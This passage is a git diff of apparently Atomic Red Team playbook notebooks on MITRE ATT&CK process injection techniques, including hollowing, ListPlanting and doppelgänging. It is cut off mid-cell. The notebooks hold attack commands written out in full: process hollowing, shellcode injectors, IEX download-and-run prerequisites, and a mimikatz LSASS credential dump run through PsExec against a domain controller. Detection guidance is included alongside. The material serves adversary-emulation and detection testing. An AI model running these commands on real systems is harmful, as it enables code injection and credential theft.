"mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.012.ipynb b/playbook/tactics/privilege-escalation/T1055.012.ipynb index 57432fe5..4679d71e 100644 --- a/playbook/tactics/privilege-escalation/T1055.012.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.012.ipynb @@ -2,67 +2,67 @@ "cells": [ { "cell_type": "markdown", - "id": "8525d637", + "id": "c462c3ee", "metadata": {}, "source": "# T1055.012 - Process Hollowing\nAdversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "97dce3fc", + "id": "ce73af78", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "81f823dc", + "id": "ba36e6dc", "metadata": {}, "source": [ "### Atomic Test #1 - Process Hollowing using PowerShell", "This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n. $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process explorer | select -expand id\nStart-Hollow -Sponsor \"C:\\Windows\\System32\\notepad.exe\" -Hollow \"C:\\Windows\\System32\\cmd.exe\" -ParentPID $ppid -Verbose\n```" + "```powershell\n. \"$PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\"\n$ppid=Get-Process explorer | select -expand id\nStart-Hollow -Sponsor \"C:\\Windows\\System32\\notepad.exe\" -Hollow \"C:\\Windows\\System32\\cmd.exe\" -ParentPID $ppid -Verbose\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ac1e2770", + "id": "c387f62b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c9d3cfbc", + "id": "7d5df8c3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ad71979c", + "id": "7875100a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6b0f10c4", + "id": "65916ff7", "metadata": {}, "source": "### Atomic Test #2 - RunPE via VBA\nThis module executes notepad.exe from within the WINWORD.EXE process\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b4ab949", + "id": "e9adcc21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2fec048b", + "id": "1a164f29", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -72,14 +72,84 @@ { "cell_type": "code", "execution_count": null, - "id": "a5a2bc57", + "id": "0982a039", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "3b3e8d15", + "id": "92b353d5", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Process Hollowing in Go using CreateProcessW WinAPI", + "Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.012\\bin\\x64\\CreateProcess.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "edace2f4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "79d8ec1d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8b29499c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "254d265b", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)", + "Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.\nThis test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe\nallows for the retrieval of output generated from executed shellcode.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.012\\bin\\x64\\CreateProcessWithPipe.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "80e34af3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "048c336f", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f06dad9c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.012 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d78001e6", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." } @@ -87,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.013.ipynb b/playbook/tactics/privilege-escalation/T1055.013.ipynb index 4ed24530..bc218ee8 100644 --- a/playbook/tactics/privilege-escalation/T1055.013.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5ef6e326", + "id": "9472a492", "metadata": {}, "source": "# T1055.013 - Process Doppelg\u00e4nging\nAdversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "e4fd829d", + "id": "7e61ca8d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "eace3b38", + "id": "3bbba1d5", "metadata": {}, "source": "## Detection\nMonitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.014.ipynb b/playbook/tactics/privilege-escalation/T1055.014.ipynb index 18589d41..48d55f93 100644 --- a/playbook/tactics/privilege-escalation/T1055.014.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "960d864a", + "id": "636c2d12", "metadata": {}, "source": "# T1055.014 - VDSO Hijacking\nAdversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "3a53e548", + "id": "ff739a1b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "477e8338", + "id": "31645f89", "metadata": {}, "source": "## Detection\nMonitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.015.ipynb b/playbook/tactics/privilege-escalation/T1055.015.ipynb index e4a870ba..9382286d 100644 --- a/playbook/tactics/privilege-escalation/T1055.015.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.015.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "3d396520", + "id": "3fafaa4e", "metadata": {}, "source": "# T1055.015 - ListPlanting\nAdversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback." }, { "cell_type": "markdown", - "id": "78de8392", + "id": "2d867b04", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "080c4f07", + "id": "b92401f9", + "metadata": {}, + "source": "### Atomic Test #1 - Process injection ListPlanting\nThis test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title \"Warning\" and the content \"Atomic Red Team\" after a few seconds. Notepad will open following the appearance of the message box.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Injector ListPlanting.exe must exist at specified location (#{exe_binary})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe\" -OutFile \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "586e1573", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "72ec5027", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1055.015\\bin\\ListPlanting.exe\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "03552b54", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "7df78a8a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "11861e7c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.015 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5e02e309", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1055.ipynb b/playbook/tactics/privilege-escalation/T1055.ipynb index 0050342f..c2f00187 100644 --- a/playbook/tactics/privilege-escalation/T1055.ipynb +++ b/playbook/tactics/privilege-escalation/T1055.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "cbfe6a50", + "id": "080eef82", "metadata": {}, "source": "# T1055 - Process Injection\nAdversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. " }, { "cell_type": "markdown", - "id": "1e3ecc48", + "id": "949c0b5c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "373aa2ee", + "id": "246a4277", "metadata": {}, - "source": "### Atomic Test #1 - Shellcode execution via VBA\nThis module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The 64-bit version of Microsoft Office must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n\n```\n##### Description: #{txt_path} must exist on disk at specified location\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\"\n\n```" + "source": "### Atomic Test #1 - Shellcode execution via VBA\nThis module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The 64-bit version of Microsoft Office must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n\n```\n##### Description: \"#{txt_path}\" must exist on disk at specified location\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "902ed8d3", + "id": "02229d3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e0ff057e", + "id": "7919ea9c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,85 +38,410 @@ { "cell_type": "code", "execution_count": null, - "id": "a121b464", + "id": "421faa72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "611a6bc6", + "id": "8312238a", "metadata": {}, - "source": "### Atomic Test #2 - Remote Process Injection in LSASS via mimikatz\nUse mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #2 - Remote Process Injection in LSASS via mimikatz\nUse mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" -UseBasicParsing\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d476aeb0", + "id": "789fc74f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8ef55318", + "id": "42ce353a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\PSTools\\PsExec.exe /accepteula \\\\DC1 -c %tmp%\\mimikatz\\x64\\mimikatz.exe \"lsadump::lsa /inject /id:500\" \"exit\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" /accepteula \\\\DC1 -c %tmp%\\mimikatz\\x64\\mimikatz.exe \"lsadump::lsa /inject /id:500\" \"exit\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "add0b8be", + "id": "53363c10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "5b2079b6", + "id": "3313bae1", "metadata": {}, "source": [ "### Atomic Test #3 - Section View Injection", "This test creates a section object in the local process followed by a local section 